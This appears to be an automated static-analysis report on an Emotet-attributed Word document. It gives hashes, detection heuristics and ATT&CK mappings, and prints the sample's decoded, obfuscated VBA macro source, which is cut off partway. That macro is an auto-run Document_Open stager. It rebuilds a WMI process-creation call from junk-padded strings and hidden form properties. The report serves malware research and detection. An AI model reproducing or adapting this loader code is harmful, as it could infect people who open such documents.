Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 593a1eee983e1c66…

MALICIOUS

Office (OLE)

225.8 KB Created: 2020-08-11 21:52:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 09f2ebd9dfd99a7a54f7c9f63a87aa01 SHA-1: 7d1abf527fffd7bc42c170cf40da7af002eccc40 SHA-256: 593a1eee983e1c66c480fc52ce564f0ebb60c48d5cadef3f5ed4367d32f1112b
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet. The script uses obfuscated code and variable manipulation to construct and execute a command, likely to download and execute a secondary payload. The ClamAV detection further supports the Emotet family attribution.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9275219-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9275219-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4343 bytes
SHA-256: b340ffdb47f0de2131a1f680756de49cd40f7cdbe613e3003c8f674813401b6d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "VCSEVtidwtvfsoaeua"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
GLCSJlrhqbzhhseloru.BEGPOgbugdgzuay
End Sub


Attribute VB_Name = "GLCSJlrhqbzhhseloru"
Attribute VB_Base = "0{D932C1CA-D224-4916-B7ED-8E184277A82C}{077DF271-B373-4C16-9EBD-9B1ACCE57D9B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function BEGPOgbugdgzuay()
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
DCRQKjwjuknvwqmc = GLCSJlrhqbzhhseloru.Zoom
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
XERJEhywgfplumcjv = ChrW(DCRQKjwjuknvwqmc + ((30 + 60 + 30) / (4 + 4)))
Dim p1Èck3ÃQU As Date
KDQGXcvilykbeevmsu = "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhi920jG&2(nbsjg uiyqGb2234%42bjhnm920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhgm920jG&2(nbsjg uiyqGb2234%42bjht920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh" + XERJEhywgfplumcjv + "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh:920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhin920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh3920jG&2(nbsjg uiyqGb2234%42bjh2920jG&2(nbsjg uiyqGb2234%42bjh_920jG&2(nbsjg uiyqGb2234%42bjh" + GLCSJlrhqbzhhseloru.PAZLRzffrqwjq + "920jG&2(nbsjg uiyqGb2234%42bjhro920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhce920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjh"
Dim tqSQH3Í As Integer
tqSQH3Í = 3
Do While tqSQH3Í < 3 + 6
tqSQH3Í = tqSQH3Í + 6: DoEvents
Loop
OZEIObtoljqphmktekt = KEMWTnztbdcsw(KDQGXcvilykbeevmsu)
Dim JtF1ÔVIsgfW As Variant
Set KUSULixlzbyy = CreateObject(OZEIObtoljqphmktekt)
Dim r4ÖKHihX As Integer
r4ÖKHihX = 9
Do While r4ÖKHihX < 9 + 5
r4ÖKHihX = r4ÖKHihX + 7: DoEvents
Loop
OOJGOllxbmra = GLCSJlrhqbzhhseloru.ODEHXfxghnao.ControlTipText
Dim aKHZFGTowB As Currency
GNHUUhcjupfbh = m2m3b5 + (OZEIObtoljqphmktekt + XERJEhywgfplumcjv + GLCSJlrhqbzhhseloru.ERDMCqjvxotpgr.ControlTipText + OOJGOllxbmra)
Dim fIspInaCW As String
AFSCVuowwdupwbs = GNHUUhcjupfbh + GLCSJlrhqbzhhseloru.PAZLRzffrqwjq
Dim n8ÈRMOqNXp As Integer
n8ÈRMOqNXp = 4
Do While n8ÈRMOqNXp < 4 + 4
n8ÈRMOqNXp = n8ÈRMOqNXp + 1: DoEvents
Loop
Set OEUPPihvrzskubk = YJLKCmffvtucrnmn(AFSCVuowwdupwbs)
Dim K0ÏyYuGKEqS As Currency
pppp1n1b = Array(ns123v4 + "jbjksgui qguw egq wuieg qbnmasm", KUSULixlzbyy. _
Create(ZWXXUolbkyljk, PTQHAvqqcwqlslo, OEUPPihvrzskubk), masb1 + ",jha ghauig qugq bbbs")
Dim LRhpI5ÓslYA As Double
End Function
Function ZWXXUolbkyljk()
n21bh3 = GLCSJlrhqbzhhseloru.LPYYQsyxmtgac.Pages(vbOK).Caption
ZWXXUolbkyljk = KEMWTnztbdcsw(n21bh3)
dgKyIcWY = 7
Do While dgKyIcWY < 7 + 1
dgKyIcWY = dgKyIcWY + 1: DoEvents
Loop
End Function
Function YJLKCmffvtucrnmn(ECPJGdwdchclzoifizf)
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
Set YJLKCmffvtucrnmn = CreateObject(ECPJGdwdchclzoifizf)
Dim WbU1Ïq As Integer
WbU1Ïq = 1
Do While WbU1Ïq < 1 + 4
WbU1Ïq = WbU1Ïq + 1: DoEvents
Loop
YJLKCmffvtucrnmn. _
showwindow = UKKXAiktzygfa + KNHTJpcauocpghebdu
Dim UMbU As Object
End Function
Function KEMWTnztbdcsw(OWYHGuuebqtrgxibpum)
NFRYSaadwsjnxhvz = OWYHGuuebqtrgxibpum
Dim ZvdC As Currency
WESGOhzfduvelwjoh = Split _
(NFRYSaadwsjnxhvz, "920jG&2(nbsjg uiyqGb2234%42bjh")
Dim Hih4å As Integer
Hih4å = 5
Do While Hih4å < 5 + 7
Hih4å = Hih4å + 6: DoEvents
Loop
LZIAUxvalcpr = mmm2 + Join(WESGOhzfduvelwjoh, msnj2)
Dim r4áAANisy As Integer
r4á
... (truncated)

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